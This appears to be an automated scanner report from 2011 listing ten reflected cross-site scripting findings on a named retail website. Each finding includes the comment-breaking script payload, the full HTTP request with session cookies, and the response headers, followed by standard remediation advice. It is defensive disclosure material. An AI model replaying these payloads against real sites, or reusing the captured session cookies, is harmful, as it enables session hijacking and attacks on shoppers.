Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Remediation background
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
1.1. http://www.worldmarket.com/.*camp=em.* [name of an arbitrarily supplied request parameter]next
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.worldmarket.com
Path:
/.*camp=em.*
Issue detail
The name of an arbitrarily supplied request parameter is copied into an HTML comment. The payload 2be9e--><script>alert(1)</script>8ee7cb2a34f was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /.*camp=em.*?2be9e--><script>alert(1)</script>8ee7cb2a34f=1 HTTP/1.1 Host: www.worldmarket.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=TDdnNh2ZW8nRyXrTRZdlnfz7c5X2M03LdPTbnQyTchyt8x0cpKq1!-136827425; cmRS=&t1=1294071521941&t2=1294071523884&t3=1294071526136&t4=1294071521500&fti=1294071525595&fn=search%3A0%3BstoreSearchForm%3A1%3B&ac=0:S&fd=&uer=&fu=/search/controller.jsp&pi=Category%3A%20Home%20Decor&ho=data.coremetrics.com/eluminate%3F&ci=90223629&cjen=1; __g_c=w%3A0; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3Dgsiccpwmusprdi1%253D%252526pid%25253DCategory%2525253A%252525203479343%2525253A%25252520Home%25252520Decor%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//cpwm.imageg.net/images/hdr_searchBtn.gif%252526ot%25253DIMAGE%3B; mbcc=BDC5D380-CE86-540A-BF80-20C7A9EE8723; CoreID6=59879760094612940715097; 90223629_clogin=l=1294071509&v=1&e=1294073325597; browser_id=121247510543; c-upsellit2793=GiveChat; s_pers=%20s_lastvisit%3D1294071509813%7C1388679509813%3B%20s_nr%3D1294071525578%7C1296663525578%3B%20gpv_p6%3DCategory%253A%25203479343%253A%2520Home%2520Decor%7C1294073325583%3B; rvdata=XR240e18041a5a4717581340415b43; cmTPSet=Y; s_vi=[CS]v1|2690FB6F850136A7-4000010B80097A05[CE]; mbcs=2F74AC57-30AC-599A-9E17-32906EFB91BC;
Response
HTTP/1.1 404 Not Found Date: Mon, 03 Jan 2011 16:28:56 GMT Server: Apache/2.0.63 (Unix) Content-Length: 74437 X-Powered-By: Servlet/2.5 JSP/2.1 Vary: Accept-Encoding X-UA-Compatible: IE=EmulateIE7 Connection: close Content-Type: text/html; charset=ISO-8859-1
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
1.2. http://www.worldmarket.com/affiliate/index.jsp [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.worldmarket.com
Path:
/affiliate/index.jsp
Issue detail
The name of an arbitrarily supplied request parameter is copied into an HTML comment. The payload 8adbe--><script>alert(1)</script>9e0514c1162 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /affiliate/index.jsp?8adbe--><script>alert(1)</script>9e0514c1162=1 HTTP/1.1 Host: www.worldmarket.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=TDdnNh2ZW8nRyXrTRZdlnfz7c5X2M03LdPTbnQyTchyt8x0cpKq1!-136827425; cmRS=&t1=1294071521941&t2=1294071523884&t3=1294071526136&t4=1294071521500&fti=1294071525595&fn=search%3A0%3BstoreSearchForm%3A1%3B&ac=0:S&fd=&uer=&fu=/search/controller.jsp&pi=Category%3A%20Home%20Decor&ho=data.coremetrics.com/eluminate%3F&ci=90223629&cjen=1; __g_c=w%3A0; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3Dgsiccpwmusprdi1%253D%252526pid%25253DCategory%2525253A%252525203479343%2525253A%25252520Home%25252520Decor%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//cpwm.imageg.net/images/hdr_searchBtn.gif%252526ot%25253DIMAGE%3B; mbcc=BDC5D380-CE86-540A-BF80-20C7A9EE8723; CoreID6=59879760094612940715097; 90223629_clogin=l=1294071509&v=1&e=1294073325597; browser_id=121247510543; c-upsellit2793=GiveChat; s_pers=%20s_lastvisit%3D1294071509813%7C1388679509813%3B%20s_nr%3D1294071525578%7C1296663525578%3B%20gpv_p6%3DCategory%253A%25203479343%253A%2520Home%2520Decor%7C1294073325583%3B; rvdata=XR240e18041a5a4717581340415b43; cmTPSet=Y; s_vi=[CS]v1|2690FB6F850136A7-4000010B80097A05[CE]; mbcs=2F74AC57-30AC-599A-9E17-32906EFB91BC;
Response
HTTP/1.1 200 OK Date: Mon, 03 Jan 2011 16:28:53 GMT Server: Apache/2.0.63 (Unix) Content-Length: 77355 X-Powered-By: Servlet/2.5 JSP/2.1 Vary: Accept-Encoding X-UA-Compatible: IE=EmulateIE7 Connection: close Content-Type: text/html; charset=ISO-8859-1
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
1.3. http://www.worldmarket.com/cart/index.jsp [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.worldmarket.com
Path:
/cart/index.jsp
Issue detail
The name of an arbitrarily supplied request parameter is copied into an HTML comment. The payload 6c507--><script>alert(1)</script>cab4edbfab9 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /cart/index.jsp?6c507--><script>alert(1)</script>cab4edbfab9=1 HTTP/1.1 Host: www.worldmarket.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=TDdnNh2ZW8nRyXrTRZdlnfz7c5X2M03LdPTbnQyTchyt8x0cpKq1!-136827425; cmRS=&t1=1294071521941&t2=1294071523884&t3=1294071526136&t4=1294071521500&fti=1294071525595&fn=search%3A0%3BstoreSearchForm%3A1%3B&ac=0:S&fd=&uer=&fu=/search/controller.jsp&pi=Category%3A%20Home%20Decor&ho=data.coremetrics.com/eluminate%3F&ci=90223629&cjen=1; __g_c=w%3A0; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3Dgsiccpwmusprdi1%253D%252526pid%25253DCategory%2525253A%252525203479343%2525253A%25252520Home%25252520Decor%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//cpwm.imageg.net/images/hdr_searchBtn.gif%252526ot%25253DIMAGE%3B; mbcc=BDC5D380-CE86-540A-BF80-20C7A9EE8723; CoreID6=59879760094612940715097; 90223629_clogin=l=1294071509&v=1&e=1294073325597; browser_id=121247510543; c-upsellit2793=GiveChat; s_pers=%20s_lastvisit%3D1294071509813%7C1388679509813%3B%20s_nr%3D1294071525578%7C1296663525578%3B%20gpv_p6%3DCategory%253A%25203479343%253A%2520Home%2520Decor%7C1294073325583%3B; rvdata=XR240e18041a5a4717581340415b43; cmTPSet=Y; s_vi=[CS]v1|2690FB6F850136A7-4000010B80097A05[CE]; mbcs=2F74AC57-30AC-599A-9E17-32906EFB91BC;
Response
HTTP/1.1 200 OK Date: Mon, 03 Jan 2011 16:29:03 GMT Server: Apache/2.0.63 (Unix) Cache-Control: no-cache Pragma: no-cache P3P: CP="PHY ONL CAO CURa ADMa DEVa TAIa PSAa PSDa IVAo IVDo CONo HISa TELo OTPo OUR DELa STP BUS UNI COM NAV INT DEM OTC",policyref="/w3c/p3p.xml" X-Powered-By: Servlet/2.5 JSP/2.1 Vary: Accept-Encoding X-UA-Compatible: IE=EmulateIE7 Connection: close Content-Type: text/html; charset=ISO-8859-1 Content-Length: 86747
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
1.4. http://www.worldmarket.com/category/index.jsp/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.worldmarket.com
Path:
/category/index.jsp/
Issue detail
The name of an arbitrarily supplied request parameter is copied into an HTML comment. The payload fb523--><script>alert(1)</script>8a794cfcfed was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /category/index.jsp/?fb523--><script>alert(1)</script>8a794cfcfed=1 HTTP/1.1 Host: www.worldmarket.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=TDdnNh2ZW8nRyXrTRZdlnfz7c5X2M03LdPTbnQyTchyt8x0cpKq1!-136827425; cmRS=&t1=1294071521941&t2=1294071523884&t3=1294071526136&t4=1294071521500&fti=1294071525595&fn=search%3A0%3BstoreSearchForm%3A1%3B&ac=0:S&fd=&uer=&fu=/search/controller.jsp&pi=Category%3A%20Home%20Decor&ho=data.coremetrics.com/eluminate%3F&ci=90223629&cjen=1; __g_c=w%3A0; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3Dgsiccpwmusprdi1%253D%252526pid%25253DCategory%2525253A%252525203479343%2525253A%25252520Home%25252520Decor%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//cpwm.imageg.net/images/hdr_searchBtn.gif%252526ot%25253DIMAGE%3B; mbcc=BDC5D380-CE86-540A-BF80-20C7A9EE8723; CoreID6=59879760094612940715097; 90223629_clogin=l=1294071509&v=1&e=1294073325597; browser_id=121247510543; c-upsellit2793=GiveChat; s_pers=%20s_lastvisit%3D1294071509813%7C1388679509813%3B%20s_nr%3D1294071525578%7C1296663525578%3B%20gpv_p6%3DCategory%253A%25203479343%253A%2520Home%2520Decor%7C1294073325583%3B; rvdata=XR240e18041a5a4717581340415b43; cmTPSet=Y; s_vi=[CS]v1|2690FB6F850136A7-4000010B80097A05[CE]; mbcs=2F74AC57-30AC-599A-9E17-32906EFB91BC;
Response
HTTP/1.1 404 Not Found Date: Mon, 03 Jan 2011 16:28:49 GMT Server: Apache/2.0.63 (Unix) Content-Length: 74463 X-Powered-By: Servlet/2.5 JSP/2.1 Vary: Accept-Encoding X-UA-Compatible: IE=EmulateIE7 Connection: close Content-Type: text/html; charset=ISO-8859-1
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
1.5. http://www.worldmarket.com/helpdesk/index.jsp [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.worldmarket.com
Path:
/helpdesk/index.jsp
Issue detail
The name of an arbitrarily supplied request parameter is copied into an HTML comment. The payload 11fdd--><script>alert(1)</script>e693459e65b was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /helpdesk/index.jsp?11fdd--><script>alert(1)</script>e693459e65b=1 HTTP/1.1 Host: www.worldmarket.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=TDdnNh2ZW8nRyXrTRZdlnfz7c5X2M03LdPTbnQyTchyt8x0cpKq1!-136827425; cmRS=&t1=1294071521941&t2=1294071523884&t3=1294071526136&t4=1294071521500&fti=1294071525595&fn=search%3A0%3BstoreSearchForm%3A1%3B&ac=0:S&fd=&uer=&fu=/search/controller.jsp&pi=Category%3A%20Home%20Decor&ho=data.coremetrics.com/eluminate%3F&ci=90223629&cjen=1; __g_c=w%3A0; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3Dgsiccpwmusprdi1%253D%252526pid%25253DCategory%2525253A%252525203479343%2525253A%25252520Home%25252520Decor%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//cpwm.imageg.net/images/hdr_searchBtn.gif%252526ot%25253DIMAGE%3B; mbcc=BDC5D380-CE86-540A-BF80-20C7A9EE8723; CoreID6=59879760094612940715097; 90223629_clogin=l=1294071509&v=1&e=1294073325597; browser_id=121247510543; c-upsellit2793=GiveChat; s_pers=%20s_lastvisit%3D1294071509813%7C1388679509813%3B%20s_nr%3D1294071525578%7C1296663525578%3B%20gpv_p6%3DCategory%253A%25203479343%253A%2520Home%2520Decor%7C1294073325583%3B; rvdata=XR240e18041a5a4717581340415b43; cmTPSet=Y; s_vi=[CS]v1|2690FB6F850136A7-4000010B80097A05[CE]; mbcs=2F74AC57-30AC-599A-9E17-32906EFB91BC;
Response
HTTP/1.1 200 OK Date: Mon, 03 Jan 2011 16:29:03 GMT Server: Apache/2.0.63 (Unix) Content-Length: 90258 X-Powered-By: Servlet/2.5 JSP/2.1 Vary: Accept-Encoding X-UA-Compatible: IE=EmulateIE7 Connection: close Content-Type: text/html; charset=ISO-8859-1
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
1.6. http://www.worldmarket.com/home/index.jsp [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.worldmarket.com
Path:
/home/index.jsp
Issue detail
The name of an arbitrarily supplied request parameter is copied into an HTML comment. The payload 69842--><script>alert(1)</script>257386ecec0 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /home/index.jsp?69842--><script>alert(1)</script>257386ecec0=1 HTTP/1.1 Host: www.worldmarket.com Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Date: Mon, 03 Jan 2011 16:28:20 GMT Server: Apache/2.0.63 (Unix) Cache-Control: no-cache="set-cookie" Pragma: no-cache P3P: CP="PHY ONL CAO CURa ADMa DEVa TAIa PSAa PSDa IVAo IVDo CONo HISa TELo OTPo OUR DELa STP BUS UNI COM NAV INT DEM OTC",policyref="/w3c/p3p.xml" Set-Cookie: JSESSIONID=rpMZNh5G5V8yq7bK52b1yp72zzv2cNcqTHbPnZwJBtm3hdcL7JMc!256262240; path=/ Set-Cookie: browser_id=121248836543; expires=Thursday, 31-Dec-2020 16:28:20 GMT; path=/ Set-Cookie: browser_id=121248836543; expires=Thursday, 31-Dec-2020 16:28:20 GMT; path=/ Set-Cookie: browser_id=121248836543; expires=Thursday, 31-Dec-2020 16:28:20 GMT; path=/ Set-Cookie: browser_id=121248836543; expires=Thursday, 31-Dec-2020 16:28:20 GMT; path=/ Set-Cookie: browser_id=121248836543; expires=Thursday, 31-Dec-2020 16:28:20 GMT; path=/ Set-Cookie: browser_id=121248836543; expires=Thursday, 31-Dec-2020 16:28:20 GMT; path=/ Set-Cookie: browser_id=121248836543; expires=Thursday, 31-Dec-2020 16:28:20 GMT; path=/ X-Powered-By: Servlet/2.5 JSP/2.1 Vary: Accept-Encoding X-UA-Compatible: IE=EmulateIE7 Connection: close Content-Type: text/html; charset=ISO-8859-1 Content-Length: 89697
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
1.7. http://www.worldmarket.com/home/index.jsp.* [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.worldmarket.com
Path:
/home/index.jsp.*
Issue detail
The name of an arbitrarily supplied request parameter is copied into an HTML comment. The payload 8ed57--><script>alert(1)</script>d9f6d8d9258 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /home/index.jsp.*?8ed57--><script>alert(1)</script>d9f6d8d9258=1 HTTP/1.1 Host: www.worldmarket.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=TDdnNh2ZW8nRyXrTRZdlnfz7c5X2M03LdPTbnQyTchyt8x0cpKq1!-136827425; cmRS=&t1=1294071521941&t2=1294071523884&t3=1294071526136&t4=1294071521500&fti=1294071525595&fn=search%3A0%3BstoreSearchForm%3A1%3B&ac=0:S&fd=&uer=&fu=/search/controller.jsp&pi=Category%3A%20Home%20Decor&ho=data.coremetrics.com/eluminate%3F&ci=90223629&cjen=1; __g_c=w%3A0; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3Dgsiccpwmusprdi1%253D%252526pid%25253DCategory%2525253A%252525203479343%2525253A%25252520Home%25252520Decor%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//cpwm.imageg.net/images/hdr_searchBtn.gif%252526ot%25253DIMAGE%3B; mbcc=BDC5D380-CE86-540A-BF80-20C7A9EE8723; CoreID6=59879760094612940715097; 90223629_clogin=l=1294071509&v=1&e=1294073325597; browser_id=121247510543; c-upsellit2793=GiveChat; s_pers=%20s_lastvisit%3D1294071509813%7C1388679509813%3B%20s_nr%3D1294071525578%7C1296663525578%3B%20gpv_p6%3DCategory%253A%25203479343%253A%2520Home%2520Decor%7C1294073325583%3B; rvdata=XR240e18041a5a4717581340415b43; cmTPSet=Y; s_vi=[CS]v1|2690FB6F850136A7-4000010B80097A05[CE]; mbcs=2F74AC57-30AC-599A-9E17-32906EFB91BC;
Response
HTTP/1.1 404 Not Found Date: Mon, 03 Jan 2011 16:29:04 GMT Server: Apache/2.0.63 (Unix) Content-Length: 74422 X-Powered-By: Servlet/2.5 JSP/2.1 Vary: Accept-Encoding X-UA-Compatible: IE=EmulateIE7 Connection: close Content-Type: text/html; charset=ISO-8859-1
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
1.8. http://www.worldmarket.com/home/index.jsp/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.worldmarket.com
Path:
/home/index.jsp/
Issue detail
The name of an arbitrarily supplied request parameter is copied into an HTML comment. The payload a00b0--><script>alert(1)</script>baf9435da84 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /home/index.jsp/?a00b0--><script>alert(1)</script>baf9435da84=1 HTTP/1.1 Host: www.worldmarket.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=TDdnNh2ZW8nRyXrTRZdlnfz7c5X2M03LdPTbnQyTchyt8x0cpKq1!-136827425; cmRS=&t1=1294071521941&t2=1294071523884&t3=1294071526136&t4=1294071521500&fti=1294071525595&fn=search%3A0%3BstoreSearchForm%3A1%3B&ac=0:S&fd=&uer=&fu=/search/controller.jsp&pi=Category%3A%20Home%20Decor&ho=data.coremetrics.com/eluminate%3F&ci=90223629&cjen=1; __g_c=w%3A0; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3Dgsiccpwmusprdi1%253D%252526pid%25253DCategory%2525253A%252525203479343%2525253A%25252520Home%25252520Decor%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//cpwm.imageg.net/images/hdr_searchBtn.gif%252526ot%25253DIMAGE%3B; mbcc=BDC5D380-CE86-540A-BF80-20C7A9EE8723; CoreID6=59879760094612940715097; 90223629_clogin=l=1294071509&v=1&e=1294073325597; browser_id=121247510543; c-upsellit2793=GiveChat; s_pers=%20s_lastvisit%3D1294071509813%7C1388679509813%3B%20s_nr%3D1294071525578%7C1296663525578%3B%20gpv_p6%3DCategory%253A%25203479343%253A%2520Home%2520Decor%7C1294073325583%3B; rvdata=XR240e18041a5a4717581340415b43; cmTPSet=Y; s_vi=[CS]v1|2690FB6F850136A7-4000010B80097A05[CE]; mbcs=2F74AC57-30AC-599A-9E17-32906EFB91BC;
Response
HTTP/1.1 404 Not Found Date: Mon, 03 Jan 2011 16:28:58 GMT Server: Apache/2.0.63 (Unix) Content-Length: 74463 X-Powered-By: Servlet/2.5 JSP/2.1 Vary: Accept-Encoding X-UA-Compatible: IE=EmulateIE7 Connection: close Content-Type: text/html; charset=ISO-8859-1
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
1.9. http://www.worldmarket.com/search/index.jsp [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.worldmarket.com
Path:
/search/index.jsp
Issue detail
The name of an arbitrarily supplied request parameter is copied into an HTML comment. The payload 155ac--><script>alert(1)</script>9c031be90f3 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /search/index.jsp?155ac--><script>alert(1)</script>9c031be90f3=1 HTTP/1.1 Host: www.worldmarket.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=TDdnNh2ZW8nRyXrTRZdlnfz7c5X2M03LdPTbnQyTchyt8x0cpKq1!-136827425; cmRS=&t1=1294071521941&t2=1294071523884&t3=1294071526136&t4=1294071521500&fti=1294071525595&fn=search%3A0%3BstoreSearchForm%3A1%3B&ac=0:S&fd=&uer=&fu=/search/controller.jsp&pi=Category%3A%20Home%20Decor&ho=data.coremetrics.com/eluminate%3F&ci=90223629&cjen=1; __g_c=w%3A0; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3Dgsiccpwmusprdi1%253D%252526pid%25253DCategory%2525253A%252525203479343%2525253A%25252520Home%25252520Decor%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//cpwm.imageg.net/images/hdr_searchBtn.gif%252526ot%25253DIMAGE%3B; mbcc=BDC5D380-CE86-540A-BF80-20C7A9EE8723; CoreID6=59879760094612940715097; 90223629_clogin=l=1294071509&v=1&e=1294073325597; browser_id=121247510543; c-upsellit2793=GiveChat; s_pers=%20s_lastvisit%3D1294071509813%7C1388679509813%3B%20s_nr%3D1294071525578%7C1296663525578%3B%20gpv_p6%3DCategory%253A%25203479343%253A%2520Home%2520Decor%7C1294073325583%3B; rvdata=XR240e18041a5a4717581340415b43; cmTPSet=Y; s_vi=[CS]v1|2690FB6F850136A7-4000010B80097A05[CE]; mbcs=2F74AC57-30AC-599A-9E17-32906EFB91BC;
Response
HTTP/1.1 200 OK Date: Mon, 03 Jan 2011 16:28:57 GMT Server: Apache/2.0.63 (Unix) Cache-Control: no-cache="set-cookie" Pragma: no-cache Content-Length: 74865 P3P: CP="PHY ONL CAO CURa ADMa DEVa TAIa PSAa PSDa IVAo IVDo CONo HISa TELo OTPo OUR DELa STP BUS UNI COM NAV INT DEM OTC",policyref="/w3c/p3p.xml" Set-Cookie: rvdata=XR240e18041a5a4717581340415b43; expires=Saturday, 21-Jan-2079 19:43:04 GMT; path=/ X-Powered-By: Servlet/2.5 JSP/2.1 Vary: Accept-Encoding X-UA-Compatible: IE=EmulateIE7 Connection: close Content-Type: text/html; charset=ISO-8859-1
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
1.10. http://www.worldmarket.com/sitemap/index.jsp [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.worldmarket.com
Path:
/sitemap/index.jsp
Issue detail
The name of an arbitrarily supplied request parameter is copied into an HTML comment. The payload 4da1e--><script>alert(1)</script>430ac7f22e was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /sitemap/index.jsp?4da1e--><script>alert(1)</script>430ac7f22e=1 HTTP/1.1 Host: www.worldmarket.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=TDdnNh2ZW8nRyXrTRZdlnfz7c5X2M03LdPTbnQyTchyt8x0cpKq1!-136827425; cmRS=&t1=1294071521941&t2=1294071523884&t3=1294071526136&t4=1294071521500&fti=1294071525595&fn=search%3A0%3BstoreSearchForm%3A1%3B&ac=0:S&fd=&uer=&fu=/search/controller.jsp&pi=Category%3A%20Home%20Decor&ho=data.coremetrics.com/eluminate%3F&ci=90223629&cjen=1; __g_c=w%3A0; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3Dgsiccpwmusprdi1%253D%252526pid%25253DCategory%2525253A%252525203479343%2525253A%25252520Home%25252520Decor%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//cpwm.imageg.net/images/hdr_searchBtn.gif%252526ot%25253DIMAGE%3B; mbcc=BDC5D380-CE86-540A-BF80-20C7A9EE8723; CoreID6=59879760094612940715097; 90223629_clogin=l=1294071509&v=1&e=1294073325597; browser_id=121247510543; c-upsellit2793=GiveChat; s_pers=%20s_lastvisit%3D1294071509813%7C1388679509813%3B%20s_nr%3D1294071525578%7C1296663525578%3B%20gpv_p6%3DCategory%253A%25203479343%253A%2520Home%2520Decor%7C1294073325583%3B; rvdata=XR240e18041a5a4717581340415b43; cmTPSet=Y; s_vi=[CS]v1|2690FB6F850136A7-4000010B80097A05[CE]; mbcs=2F74AC57-30AC-599A-9E17-32906EFB91BC;
Response
HTTP/1.1 200 OK Date: Mon, 03 Jan 2011 16:29:20 GMT Server: Apache/2.0.63 (Unix) Content-Length: 151625 X-Powered-By: Servlet/2.5 JSP/2.1 Vary: Accept-Encoding X-UA-Compatible: IE=EmulateIE7 Connection: close Content-Type: text/html; charset=ISO-8859-1
